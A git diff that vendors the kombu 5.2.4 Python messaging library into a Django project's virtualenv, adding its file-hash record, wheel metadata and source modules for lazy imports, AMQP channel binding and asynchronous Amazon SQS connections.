+kombu/common.py,sha256=n-AddVZCNMa07vWcauhSIi2OPS9FTxaMWoo0hE2QKjg,13380 +kombu/compat.py,sha256=NjpCwJs8gCtpht7MxejUy8QuajgM3nEVd6zItdOBIxE,6360 +kombu/compression.py,sha256=8yb0FTI2_i7dfq528rVFavizyFSQkujvEtITmU3Fsa4,2906 +kombu/connection.py,sha256=2J65whGwCSelMXe3d4ctSDljV4P5VVQvZMcKuCMBTjE,38881 +kombu/entity.py,sha256=4LRqbmyIdCkTq1Yh4TvHv_bQudGnCkq0Vg5ezNaYuc8,32771 +kombu/exceptions.py,sha256=2ia3WKtPeaNlfPBqNhFdTiO1TQg4FgkrV2qgM2fhaVE,2395 +kombu/log.py,sha256=XUsW0LVUhQYA19FHvn7QXCHDlUkq_r-9t1dWNdBXS_I,4030 +kombu/matcher.py,sha256=A7yR4GNaVxbzVWiEaN2dz86qaQ4eNqhvjEeM6woW8rM,3890 +kombu/message.py,sha256=5p6FWOcuShrWf2TSSinb4GfgnYJnUkHWlEhDqj5lB0M,8023 +kombu/messaging.py,sha256=Ptw5Px_DwlySEm24j2e72aeozX6Q_L87JWx7epE7pmY,23671 +kombu/mixins.py,sha256=kDG7HBapVf96PzfqwZcnHV9nVCWYIrZZKldXpeBuxPw,9631 +kombu/pidbox.py,sha256=_MhNxN3Fp1I9ShuoD6VAbTHT4APjDIwjApHZWq2lzbM,14753 +kombu/pools.py,sha256=Z9HtxnW50o27JBVkEPzUI_Qm8KdMLFLfqi-zSx2QfG0,3939 +kombu/resource.py,sha256=gfgAfFabS_sqgCEO-HrIO8tYhD0qp4Q6G2HZ9s0JxdM,7437 +kombu/serialization.py,sha256=5WDR1nNjjiA5G5iGypBFGLGYUVmk6VKZKmTm7PKHEi8,15497 +kombu/simple.py,sha256=Zqi1s9R2Kj3RLuDyNVcN6ikLqh_N7YPmlacGej3rjl4,5044 +kombu/transport/SLMQ.py,sha256=AoQss2pEU0-AgCajlWg0nHWtJPEnHdcxbzAgwxzhrPY,6179 +kombu/transport/SQS.py,sha256=C_SXpakH5wvp3N4a5mWirokpzff3BqqGSwAc9YVJ9Kc,33937 +kombu/transport/__init__.py,sha256=VTV_8BQfM3jusGxUR1fKVvdtzoSq_Mpj7nDXCkkLRik,3139 +kombu/transport/__pycache__/SLMQ.cpython-310.pyc,, +kombu/transport/__pycache__/SQS.cpython-310.pyc,, +kombu/transport/__pycache__/__init__.cpython-310.pyc,, +kombu/transport/__pycache__/azureservicebus.cpython-310.pyc,, +kombu/transport/__pycache__/azurestoragequeues.cpython-310.pyc,, +kombu/transport/__pycache__/base.cpython-310.pyc,, +kombu/transport/__pycache__/consul.cpython-310.pyc,, +kombu/transport/__pycache__/etcd.cpython-310.pyc,, +kombu/transport/__pycache__/filesystem.cpython-310.pyc,, +kombu/transport/__pycache__/librabbitmq.cpython-310.pyc,, +kombu/transport/__pycache__/memory.cpython-310.pyc,, +kombu/transport/__pycache__/mongodb.cpython-310.pyc,, +kombu/transport/__pycache__/pyamqp.cpython-310.pyc,, +kombu/transport/__pycache__/pyro.cpython-310.pyc,, +kombu/transport/__pycache__/qpid.cpython-310.pyc,, +kombu/transport/__pycache__/redis.cpython-310.pyc,, +kombu/transport/__pycache__/zookeeper.cpython-310.pyc,, +kombu/transport/azureservicebus.py,sha256=6BQY8onpA9NJGUHf4WeMtmWsoBuCrkmQiwQOyqSvRxY,16287 +kombu/transport/azurestoragequeues.py,sha256=IlkzNCcMj4P504czuU0-YBpH1jQheuS-FziV2HiS3KQ,4838 +kombu/transport/base.py,sha256=UOPhNXBvfqz8bTisZKQNQOm6LuVQFB7VfpGoft0RhQo,7405 +kombu/transport/consul.py,sha256=ffcj6UtvBkz_7LMWFyod1zWW_Z_VKMxyyPaL-cMehpk,9272 +kombu/transport/etcd.py,sha256=MroURLRiTdzUKdAl6AFNj9zfYcb8EdM0kc0XjE8BJlg,8449 +kombu/transport/filesystem.py,sha256=sBYv5XN168e3PBEKthhYPfy_ZB_jR6YHGmtEGYi-Z8I,8054 +kombu/transport/librabbitmq.py,sha256=FSKfGHr5sQLbMAj0Own6uB3MBgZq1UD1pLoEp2rr3hU,5986 +kombu/transport/memory.py,sha256=h6ID5T3gg3uj_Xa767tVHBW6zELlWldrnxt29Fpg20c,2368 +kombu/transport/mongodb.py,sha256=S4ypsJU-WewIniYvLWIDAkzm-9MQ2aHYhu7jDiectrs,14262 +kombu/transport/pyamqp.py,sha256=jkQvlgh6yKqSG7wBPEIP2dnVq2RcgRIS9BWL3u_YdCk,7716 +kombu/transport/pyro.py,sha256=AVKZ7aiOsRe_h1iD_KA8D_DwwubRkD1iJpFVxS9xWUk,5808 +kombu/transport/qpid.py,sha256=B4bRWIny2PALRErqa7dYll-wZwq0jxFfU5i1iGgmxVc,71645 +kombu/transport/redis.py,sha256=rxYVhubEX1LSupC7gS32b8A4KeyBrnMOL7mqokdbNqU,48061 +kombu/transport/sqlalchemy/__init__.py,sha256=C5UusOokZZrOBpXpeLatZMrjqqYUPrV--o8nC-FewTc,7389 +kombu/transport/sqlalchemy/__pycache__/__init__.cpython-310.pyc,, +kombu/transport/sqlalchemy/__pycache__/models.cpython-310.pyc,, +kombu/transport/sqlalchemy/models.py,sha256=Mu-d3tMFvNNvfmzh8eSpro05uWFUjbHwfmLDvLo6I2k,2258 +kombu/transport/virtual/__init__.py,sha256=YSv37TGO6Bjx3sKvlF5GbnEB8B8k831ORwnK5AqILOA,440 +kombu/transport/virtual/__pycache__/__init__.cpython-310.pyc,, +kombu/transport/virtual/__pycache__/base.cpython-310.pyc,, +kombu/transport/virtual/__pycache__/exchange.cpython-310.pyc,, +kombu/transport/virtual/base.py,sha256=OPwfZvVLu_QctTV8PDs4zzU93Hy9h3QwDSNTZHYedyU,33759 +kombu/transport/virtual/exchange.py,sha256=LZ_jOs3kvXB-XLWjnPx8ej-rbZvc1YyLMHL7z3E_eZI,4802 +kombu/transport/zookeeper.py,sha256=3862Ufr1UX6SCFKCLHYI-Uudorpl_uAMsmFwTy9cYjQ,6303 +kombu/utils/__init__.py,sha256=O2CkAMeVhY6ulhcQoJC2fncg-F8EbIaL3MzmMRKS0tY,662 +kombu/utils/__pycache__/__init__.cpython-310.pyc,, +kombu/utils/__pycache__/amq_manager.cpython-310.pyc,, +kombu/utils/__pycache__/collections.cpython-310.pyc,, +kombu/utils/__pycache__/compat.cpython-310.pyc,, +kombu/utils/__pycache__/debug.cpython-310.pyc,, +kombu/utils/__pycache__/div.cpython-310.pyc,, +kombu/utils/__pycache__/encoding.cpython-310.pyc,, +kombu/utils/__pycache__/eventio.cpython-310.pyc,, +kombu/utils/__pycache__/functional.cpython-310.pyc,, +kombu/utils/__pycache__/imports.cpython-310.pyc,, +kombu/utils/__pycache__/json.cpython-310.pyc,, +kombu/utils/__pycache__/limits.cpython-310.pyc,, +kombu/utils/__pycache__/objects.cpython-310.pyc,, +kombu/utils/__pycache__/scheduling.cpython-310.pyc,, +kombu/utils/__pycache__/text.cpython-310.pyc,, +kombu/utils/__pycache__/time.cpython-310.pyc,, +kombu/utils/__pycache__/url.cpython-310.pyc,, +kombu/utils/__pycache__/uuid.cpython-310.pyc,, +kombu/utils/amq_manager.py,sha256=Jj5oyrtFVF6FJY8yHbc-InyXWHUtQsIs-sLVRnMiEqM,679 +kombu/utils/collections.py,sha256=WQ520wN0-n-OZTkd0ITOxA5A1r2n0fKCdW_mkXYDg_8,905 +kombu/utils/compat.py,sha256=6XfwGKaZsdqmMaj0JP-_d8boHKO0zbVgYFNcMxrAbgU,3227 +kombu/utils/debug.py,sha256=VUi5i54fIHS6oTZLTxEzwKt-tB12TuakXGaZ1ayUtbU,1637 +kombu/utils/div.py,sha256=uy1uHDXymmAL3uaAoYow4FNQT7h488ErH6MlcR4HBWM,872 +kombu/utils/encoding.py,sha256=voK_hp7KpsvcbVuiGh_lNwWHMZl5xkdo6MkUHnSbHGA,2261 +kombu/utils/eventio.py,sha256=QOZCBom003S5yw1Y-MHY48jMTYWXXdXvs1a399Pnm4g,10123 +kombu/utils/functional.py,sha256=6L95P0ke5W1qbdDTzkhuaSAtCNnox5gGqzi8L-z22IY,10604 +kombu/utils/imports.py,sha256=VVjyMWWA7HhHHeY-YL9R2bgdjkXG9HP_rpMzXXVfa5I,2041 +kombu/utils/json.py,sha256=SID0I4ji5LQeeae33AK_oM4w_rmj83OoFbte03tXrNU,2785 +kombu/utils/limits.py,sha256=hBVQpGAuwvwjIVggqbr0gAv2AJd6LVFdZFJKhw9Eqlg,2461 +kombu/utils/objects.py,sha256=o8tsYlpsabKKxsFCtnV_ZAvFmKrFD_L0FT2EHnA0R8c,1707 +kombu/utils/scheduling.py,sha256=AagjokTU8TCnu-Vrf__S4W4cDyNzUbwxTMwSXfkLOTE,2878 +kombu/utils/text.py,sha256=Y24QlTvq6JAjwoYhCX6FkbW_8JvgwHL8bdHB3kbKpAA,2117 +kombu/utils/time.py,sha256=XYS9G4fmu2405_nnQzdEnG6yrKASd6-O_pO2hMR8FHM,268 +kombu/utils/url.py,sha256=X27DaCVrYf71Hr92rx2kRDjzrA_4U9sC0O4h6XLD51I,3768 +kombu/utils/uuid.py,sha256=p_fgQdWGYzh1FHgzDCP5oWwZvx5aeA_69Rxhr5HYD20,217 diff --git a/django_lottopy/lib/python3.10/site-packages/kombu-5.2.4.dist-info/WHEEL b/django_lottopy/lib/python3.10/site-packages/kombu-5.2.4.dist-info/WHEEL new file mode 100644 index 00000000..becc9a66 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu-5.2.4.dist-info/WHEEL @@ -0,0 +1,5 @@ +Wheel-Version: 1.0 +Generator: bdist_wheel (0.37.1) +Root-Is-Purelib: true +Tag: py3-none-any + diff --git a/django_lottopy/lib/python3.10/site-packages/kombu-5.2.4.dist-info/top_level.txt b/django_lottopy/lib/python3.10/site-packages/kombu-5.2.4.dist-info/top_level.txt new file mode 100644 index 00000000..3a8f9697 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu-5.2.4.dist-info/top_level.txt @@ -0,0 +1 @@ +kombu diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/__init__.py b/django_lottopy/lib/python3.10/site-packages/kombu/__init__.py new file mode 100644 index 00000000..c435645e --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/__init__.py @@ -0,0 +1,112 @@ +"""Messaging library for Python.""" + +import os +import re +import sys +from collections import namedtuple + +__version__ = '5.2.4' +__author__ = 'Ask Solem' +__contact__ = 'auvipy@gmail.com, ask@celeryproject.org' +__homepage__ = 'https://kombu.readthedocs.io' +__docformat__ = 'restructuredtext en' + +# -eof meta- + +version_info_t = namedtuple('version_info_t', ( + 'major', 'minor', 'micro', 'releaselevel', 'serial', +)) + +# bumpversion can only search for {current_version} +# so we have to parse the version here. +_temp = re.match( + r'(\d+)\.(\d+).(\d+)(.+)?', __version__).groups() +VERSION = version_info = version_info_t( + int(_temp[0]), int(_temp[1]), int(_temp[2]), _temp[3] or '', '') +del(_temp) +del(re) + +STATICA_HACK = True +globals()['kcah_acitats'[::-1].upper()] = False +if STATICA_HACK: # pragma: no cover + # This is never executed, but tricks static analyzers (PyDev, PyCharm, + # pylint, etc.) into knowing the types of these symbols, and what + # they contain. + from kombu.common import eventloop, uuid # noqa + from kombu.connection import BrokerConnection, Connection # noqa + from kombu.entity import Exchange, Queue, binding # noqa + from kombu.message import Message # noqa + from kombu.messaging import Consumer, Producer # noqa + from kombu.pools import connections, producers # noqa + from kombu.serialization import disable_insecure_serializers # noqa + from kombu.serialization import enable_insecure_serializers # noqa + from kombu.utils.url import parse_url # noqa + +# Lazy loading. +# - See werkzeug/__init__.py for the rationale behind this. +from types import ModuleType # noqa + +all_by_module = { + 'kombu.connection': ['Connection', 'BrokerConnection'], + 'kombu.entity': ['Exchange', 'Queue', 'binding'], + 'kombu.message': ['Message'], + 'kombu.messaging': ['Consumer', 'Producer'], + 'kombu.pools': ['connections', 'producers'], + 'kombu.utils.url': ['parse_url'], + 'kombu.common': ['eventloop', 'uuid'], + 'kombu.serialization': [ + 'enable_insecure_serializers', + 'disable_insecure_serializers', + ], +} + +object_origins = {} +for module, items in all_by_module.items(): + for item in items: + object_origins[item] = module + + +class module(ModuleType): + """Customized Python module.""" + + def __getattr__(self, name): + if name in object_origins: + module = __import__(object_origins[name], None, None, [name]) + for extra_name in all_by_module[module.__name__]: + setattr(self, extra_name, getattr(module, extra_name)) + return getattr(module, name) + return ModuleType.__getattribute__(self, name) + + def __dir__(self): + result = list(new_module.__all__) + result.extend(('__file__', '__path__', '__doc__', '__all__', + '__docformat__', '__name__', '__path__', 'VERSION', + '__package__', '__version__', '__author__', + '__contact__', '__homepage__', '__docformat__')) + return result + + +# keep a reference to this module so that it's not garbage collected +old_module = sys.modules[__name__] + +new_module = sys.modules[__name__] = module(__name__) +new_module.__dict__.update({ + '__file__': __file__, + '__path__': __path__, + '__doc__': __doc__, + '__all__': tuple(object_origins), + '__version__': __version__, + '__author__': __author__, + '__contact__': __contact__, + '__homepage__': __homepage__, + '__docformat__': __docformat__, + '__package__': __package__, + 'version_info_t': version_info_t, + 'version_info': version_info, + 'VERSION': VERSION +}) + +if os.environ.get('KOMBU_LOG_DEBUG'): # pragma: no cover + os.environ.update(KOMBU_LOG_CHANNEL='1', KOMBU_LOG_CONNECTION='1') + from .utils import debug + debug.setup_logging() diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/abstract.py b/django_lottopy/lib/python3.10/site-packages/kombu/abstract.py new file mode 100644 index 00000000..38cff010 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/abstract.py @@ -0,0 +1,118 @@ +"""Object utilities.""" + +from copy import copy + +from .connection import maybe_channel +from .exceptions import NotBoundError +from .utils.functional import ChannelPromise + +__all__ = ('Object', 'MaybeChannelBound') + + +def unpickle_dict(cls, kwargs): + return cls(**kwargs) + + +def _any(v): + return v + + +class Object: + """Common base class. + + Supports automatic kwargs->attributes handling, and cloning. + """ + + attrs = () + + def __init__(self, *args, **kwargs): + for name, type_ in self.attrs: + value = kwargs.get(name) + if value is not None: + setattr(self, name, (type_ or _any)(value)) + else: + try: + getattr(self, name) + except AttributeError: + setattr(self, name, None) + + def as_dict(self, recurse=False): + def f(obj, type): + if recurse and isinstance(obj, Object): + return obj.as_dict(recurse=True) + return type(obj) if type and obj is not None else obj + return { + attr: f(getattr(self, attr), type) for attr, type in self.attrs + } + + def __reduce__(self): + return unpickle_dict, (self.__class__, self.as_dict()) + + def __copy__(self): + return self.__class__(**self.as_dict()) + + +class MaybeChannelBound(Object): + """Mixin for classes that can be bound to an AMQP channel.""" + + _channel = None + _is_bound = False + + #: Defines whether maybe_declare can skip declaring this entity twice. + can_cache_declaration = False + + def __call__(self, channel): + """`self(channel) -> self.bind(channel)`.""" + return self.bind(channel) + + def bind(self, channel): + """Create copy of the instance that is bound to a channel.""" + return copy(self).maybe_bind(channel) + + def maybe_bind(self, channel): + """Bind instance to channel if not already bound.""" + if not self.is_bound and channel: + self._channel = maybe_channel(channel) + self.when_bound() + self._is_bound = True + return self + + def revive(self, channel): + """Revive channel after the connection has been re-established. + + Used by :meth:`~kombu.Connection.ensure`. + + """ + if self.is_bound: + self._channel = channel + self.when_bound() + + def when_bound(self): + """Callback called when the class is bound.""" + + def __repr__(self): + return self._repr_entity(type(self).__name__) + + def _repr_entity(self, item=''): + item = item or type(self).__name__ + if self.is_bound: + return '<{} bound to chan:{}>'.format( + item or type(self).__name__, self.channel.channel_id) + return f'' + + @property + def is_bound(self): + """Flag set if the channel is bound.""" + return self._is_bound and self._channel is not None + + @property + def channel(self): + """Current channel if the object is bound.""" + channel = self._channel + if channel is None: + raise NotBoundError( + "Can't call method on {} not bound to a channel".format( + type(self).__name__)) + if isinstance(channel, ChannelPromise): + channel = self._channel = channel() + return channel diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/__init__.py b/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/__init__.py new file mode 100644 index 00000000..fb264aa5 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/__init__.py @@ -0,0 +1,7 @@ +"""Event loop.""" + +from kombu.utils.eventio import ERR, READ, WRITE + +from .hub import Hub, get_event_loop, set_event_loop + +__all__ = ('READ', 'WRITE', 'ERR', 'Hub', 'get_event_loop', 'set_event_loop') diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/aws/__init__.py b/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/aws/__init__.py new file mode 100644 index 00000000..d8423c23 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/aws/__init__.py @@ -0,0 +1,6 @@ +def connect_sqs(aws_access_key_id=None, aws_secret_access_key=None, **kwargs): + """Return async connection to Amazon SQS.""" + from .sqs.connection import AsyncSQSConnection + return AsyncSQSConnection( + aws_access_key_id, aws_secret_access_key, **kwargs + ) diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/aws/connection.py b/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/aws/connection.py new file mode 100644 index 00000000..f3926388 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/aws/connection.py @@ -0,0 +1,270 @@ +"""Amazon AWS Connection.""" + +from email import message_from_bytes +from email.mime.message import MIMEMessage + +from vine import promise, transform + +from kombu.asynchronous.aws.ext import AWSRequest, get_response +from kombu.asynchronous.http import Headers, Request, get_client + + +def message_from_headers(hdr): + bs = "\r\n".join("{}: {}".format(*h) for h in hdr) + return message_from_bytes(bs.encode()) + + +__all__ = ( + 'AsyncHTTPSConnection', 'AsyncConnection', +) + + +class AsyncHTTPResponse: + """Async HTTP Response.""" + + def __init__(self, response): + self.response = response + self._msg = None + self.version = 10 + + def read(self, *args, **kwargs): + return self.response.body + + def getheader(self, name, default=None): + return self.response.headers.get(name, default) + + def getheaders(self): + return list(self.response.headers.items()) + + @property + def msg(self): + if self._msg is None: + self._msg = MIMEMessage(message_from_headers(self.getheaders())) + return self._msg + + @property + def status(self): + return self.response.code + + @property + def reason(self): + if self.response.error: + return self.response.error.message + return '' + + def __repr__(self): + return repr(self.response) + + +class AsyncHTTPSConnection: + """Async HTTP Connection.""" + + Request = Request + Response = AsyncHTTPResponse + + method = 'GET' + path = '/' + body = None + default_ports = {'http': 80, 'https': 443} + + def __init__(self, strict=None, timeout=20.0, http_client=None): + self.headers = [] + self.timeout = timeout + self.strict = strict + self.http_client = http_client or get_client() + + def request(self, method, path, body=None, headers=None): + self.path = path + self.method = method + if body is not None: + try: + read = body.read + except AttributeError: + self.body = body + else: + self.body = read() + if headers is not None: + self.headers.extend(list(headers.items())) + + def getrequest(self): + headers = Headers(self.headers) + return self.Request(self.path, method=self.method, headers=headers, + body=self.body, connect_timeout=self.timeout, + request_timeout=self.timeout, validate_cert=False) + + def getresponse(self, callback=None): + request = self.getrequest() + request.then(transform(self.Response, callback)) + return self.http_client.add_request(request) + + def set_debuglevel(self, level): + pass + + def connect(self): + pass + + def close(self): + pass + + def putrequest(self, method, path): + self.method = method + self.path = path + + def putheader(self, header, value): + self.headers.append((header, value)) + + def endheaders(self): + pass + + def send(self, data): + if self.body: + self.body += data + else: + self.body = data + + def __repr__(self): + return f'' + + +class AsyncConnection: + """Async AWS Connection.""" + + def __init__(self, sqs_connection, http_client=None, **kwargs): + self.sqs_connection = sqs_connection + self._httpclient = http_client or get_client() + + def get_http_connection(self): + return AsyncHTTPSConnection(http_client=self._httpclient) + + def _mexe(self, request, sender=None, callback=None): + callback = callback or promise() + conn = self.get_http_connection() + + if callable(sender): + sender(conn, request.method, request.path, request.body, + request.headers, callback) + else: + conn.request(request.method, request.url, + request.body, request.headers) + conn.getresponse(callback=callback) + return callback + + +class AsyncAWSQueryConnection(AsyncConnection): + """Async AWS Query Connection.""" + + STATUS_CODE_OK = 200 + STATUS_CODE_REQUEST_TIMEOUT = 408 + STATUS_CODE_NETWORK_CONNECT_TIMEOUT_ERROR = 599 + STATUS_CODE_INTERNAL_ERROR = 500 + STATUS_CODE_BAD_GATEWAY = 502 + STATUS_CODE_SERVICE_UNAVAILABLE_ERROR = 503 + STATUS_CODE_GATEWAY_TIMEOUT = 504 + + STATUS_CODES_SERVER_ERRORS = ( + STATUS_CODE_INTERNAL_ERROR, + STATUS_CODE_BAD_GATEWAY, + STATUS_CODE_SERVICE_UNAVAILABLE_ERROR + ) + + STATUS_CODES_TIMEOUT = ( + STATUS_CODE_REQUEST_TIMEOUT, + STATUS_CODE_NETWORK_CONNECT_TIMEOUT_ERROR, + STATUS_CODE_GATEWAY_TIMEOUT + ) + + def __init__(self, sqs_connection, http_client=None, + http_client_params=None, **kwargs): + if not http_client_params: + http_client_params = {} + super().__init__(sqs_connection, http_client, + **http_client_params) + + def make_request(self, operation, params_, path, verb, callback=None): # noqa + params = params_.copy() + if operation: + params['Action'] = operation + signer = self.sqs_connection._request_signer + + # defaults for non-get + signing_type = 'standard' + param_payload = {'data': params} + if verb.lower() == 'get': + # query-based opts + signing_type = 'presignurl' + param_payload = {'params': params} + + request = AWSRequest(method=verb, url=path, **param_payload) + signer.sign(operation, request, signing_type=signing_type) + prepared_request = request.prepare() + + return self._mexe(prepared_request, callback=callback) + + def get_list(self, operation, params, markers, path='/', parent=None, verb='POST', callback=None): # noqa + return self.make_request( + operation, params, path, verb, + callback=transform( + self._on_list_ready, callback, parent or self, markers, + operation + ), + ) + + def get_object(self, operation, params, path='/', parent=None, verb='GET', callback=None): # noqa + return self.make_request( + operation, params, path, verb, + callback=transform( + self._on_obj_ready, callback, parent or self, operation + ), + ) + + def get_status(self, operation, params, path='/', parent=None, verb='GET', callback=None): # noqa + return self.make_request( + operation, params, path, verb, + callback=transform( + self._on_status_ready, callback, parent or self, operation + ), + ) + + def _on_list_ready(self, parent, markers, operation, response): + service_model = self.sqs_connection.meta.service_model + if response.status == self.STATUS_CODE_OK: + _, parsed = get_response( + service_model.operation_model(operation), response.response + ) + return parsed + elif ( + response.status in self.STATUS_CODES_TIMEOUT or + response.status in self.STATUS_CODES_SERVER_ERRORS + ): + # When the server returns a timeout or 50X server error, + # the response is interpreted as an empty list. + # This prevents hanging the Celery worker. + return [] + else: + raise self._for_status(response, response.read()) + + def _on_obj_ready(self, parent, operation, response): + service_model = self.sqs_connection.meta.service_model + if response.status == self.STATUS_CODE_OK: + _, parsed = get_response( + service_model.operation_model(operation), response.response + ) + return parsed + else: + raise self._for_status(response, response.read()) + + def _on_status_ready(self, parent, operation, response): + service_model = self.sqs_connection.meta.service_model + if response.status == self.STATUS_CODE_OK: + httpres, _ = get_response( + service_model.operation_model(operation), response.response + ) + return httpres.code + else: + raise self._for_status(response, response.read()) + + def _for_status(self, response, body): + context = 'Empty body' if not body else 'HTTP Error' + return Exception("Request {} HTTP {} {} ({})".format( + context, response.status, response.reason, body + )) diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/aws/ext.py b/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/aws/ext.py new file mode 100644 index 00000000..2dedc812 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/aws/ext.py @@ -0,0 +1,24 @@ +"""Amazon boto3 interface.""" + +try: + import boto3 + from botocore import exceptions + from botocore.awsrequest import AWSRequest + from botocore.response import get_response +except ImportError: + boto3 = None + + class _void: + pass + + class BotoCoreError(Exception): + pass + exceptions = _void() + exceptions.BotoCoreError = BotoCoreError + AWSRequest = _void() + get_response = _void() + + +__all__ = ( + 'exceptions', 'AWSRequest', 'get_response' +) diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/aws/sqs/__init__.py b/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/aws/sqs/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/aws/sqs/connection.py b/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/aws/sqs/connection.py new file mode 100644 index 00000000..9db2523b --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/aws/sqs/connection.py @@ -0,0 +1,191 @@ +"""Amazon SQS Connection.""" + +from vine import transform + +from kombu.asynchronous.aws.connection import AsyncAWSQueryConnection + +from .ext import boto3 +from .message import AsyncMessage +from .queue import AsyncQueue + +__all__ = ('AsyncSQSConnection',) + + +class AsyncSQSConnection(AsyncAWSQueryConnection): + """Async SQS Connection.""" + + def __init__(self, sqs_connection, debug=0, region=None, **kwargs): + if boto3 is None: + raise ImportError('boto3 is not installed') + super().__init__( + sqs_connection, + region_name=region, debug=debug, + **kwargs + ) + + def create_queue(self, queue_name, + visibility_timeout=None, callback=None): + params = {'QueueName': queue_name} + if visibility_timeout: + params['DefaultVisibilityTimeout'] = format( + visibility_timeout, 'd', + ) + return self.get_object('CreateQueue', params, + callback=callback) + + def delete_queue(self, queue, force_deletion=False, callback=None): + return self.get_status('DeleteQueue', None, queue.id, + callback=callback) + + def get_queue_url(self, queue): + res = self.sqs_connection.get_queue_url(QueueName=queue) + return res['QueueUrl'] + + def get_queue_attributes(self, queue, attribute='All', callback=None): + return self.get_object( + 'GetQueueAttributes', {'AttributeName': attribute}, + queue.id, callback=callback, + ) + + def set_queue_attribute(self, queue, attribute, value, callback=None): + return self.get_status( + 'SetQueueAttribute', + {'Attribute.Name': attribute, 'Attribute.Value': value}, + queue.id, callback=callback, + ) + + def receive_message( + self, queue, queue_url, number_messages=1, visibility_timeout=None, + attributes=('ApproximateReceiveCount',), wait_time_seconds=None, + callback=None + ): + params = {'MaxNumberOfMessages': number_messages} + if visibility_timeout: + params['VisibilityTimeout'] = visibility_timeout + if attributes: + attrs = {} + for idx, attr in enumerate(attributes): + attrs['AttributeName.' + str(idx + 1)] = attr + params.update(attrs) + if wait_time_seconds is not None: + params['WaitTimeSeconds'] = wait_time_seconds + return self.get_list( + 'ReceiveMessage', params, [('Message', AsyncMessage)], + queue_url, callback=callback, parent=queue, + ) + + def delete_message(self, queue, receipt_handle, callback=None): + return self.delete_message_from_handle( + queue, receipt_handle, callback, + ) + + def delete_message_batch(self, queue, messages, callback=None): + params = {} + for i, m in enumerate(messages): + prefix = f'DeleteMessageBatchRequestEntry.{i + 1}' + params.update({ + f'{prefix}.Id': m.id, + f'{prefix}.ReceiptHandle': m.receipt_handle, + }) + return self.get_object( + 'DeleteMessageBatch', params, queue.id, + verb='POST', callback=callback, + ) + + def delete_message_from_handle(self, queue, receipt_handle, + callback=None): + return self.get_status( + 'DeleteMessage', {'ReceiptHandle': receipt_handle}, + queue, callback=callback, + ) + + def send_message(self, queue, message_content, + delay_seconds=None, callback=None): + params = {'MessageBody': message_content} + if delay_seconds: + params['DelaySeconds'] = int(delay_seconds) + return self.get_object( + 'SendMessage', params, queue.id, + verb='POST', callback=callback, + ) + + def send_message_batch(self, queue, messages, callback=None): + params = {} + for i, msg in enumerate(messages): + prefix = f'SendMessageBatchRequestEntry.{i + 1}' + params.update({ + f'{prefix}.Id': msg[0], + f'{prefix}.MessageBody': msg[1], + f'{prefix}.DelaySeconds': msg[2], + }) + return self.get_object( + 'SendMessageBatch', params, queue.id, + verb='POST', callback=callback, + ) + + def change_message_visibility(self, queue, receipt_handle, + visibility_timeout, callback=None): + return self.get_status( + 'ChangeMessageVisibility', + {'ReceiptHandle': receipt_handle, + 'VisibilityTimeout': visibility_timeout}, + queue.id, callback=callback, + ) + + def change_message_visibility_batch(self, queue, messages, callback=None): + params = {} + for i, t in enumerate(messages): + pre = f'ChangeMessageVisibilityBatchRequestEntry.{i + 1}' + params.update({ + f'{pre}.Id': t[0].id, + f'{pre}.ReceiptHandle': t[0].receipt_handle, + f'{pre}.VisibilityTimeout': t[1], + }) + return self.get_object( + 'ChangeMessageVisibilityBatch', params, queue.id, + verb='POST', callback=callback, + ) + + def get_all_queues(self, prefix='', callback=None): + params = {} + if prefix: + params['QueueNamePrefix'] = prefix + return self.get_list( + 'ListQueues', params, [('QueueUrl', AsyncQueue)], + callback=callback, + ) + + def get_queue(self, queue_name, callback=None): + # TODO Does not support owner_acct_id argument + return self.get_all_queues( + queue_name, + transform(self._on_queue_ready, callback, queue_name), + ) + lookup = get_queue + + def _on_queue_ready(self, name, queues): + return next( + (q for q in queues if q.url.endswith(name)), None, + ) + + def get_dead_letter_source_queues(self, queue, callback=None): + return self.get_list( + 'ListDeadLetterSourceQueues', {'QueueUrl': queue.url}, + [('QueueUrl', AsyncQueue)], + callback=callback, + ) + + def add_permission(self, queue, label, aws_account_id, action_name, + callback=None): + return self.get_status( + 'AddPermission', + {'Label': label, + 'AWSAccountId': aws_account_id, + 'ActionName': action_name}, + queue.id, callback=callback, + ) + + def remove_permission(self, queue, label, callback=None): + return self.get_status( + 'RemovePermission', {'Label': label}, queue.id, callback=callback, + ) diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/aws/sqs/ext.py b/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/aws/sqs/ext.py new file mode 100644 index 00000000..f6630936 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/aws/sqs/ext.py @@ -0,0 +1,7 @@ +"""Amazon SQS boto3 interface.""" + + +try: + import boto3 +except ImportError: + boto3 = None diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/aws/sqs/message.py b/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/aws/sqs/message.py new file mode 100644 index 00000000..9425ff2d --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/asynchronous/aws/sqs/message.py @@ -0,0 +1,33 @@ +"""Amazon SQS message implementation.""" + +import base64 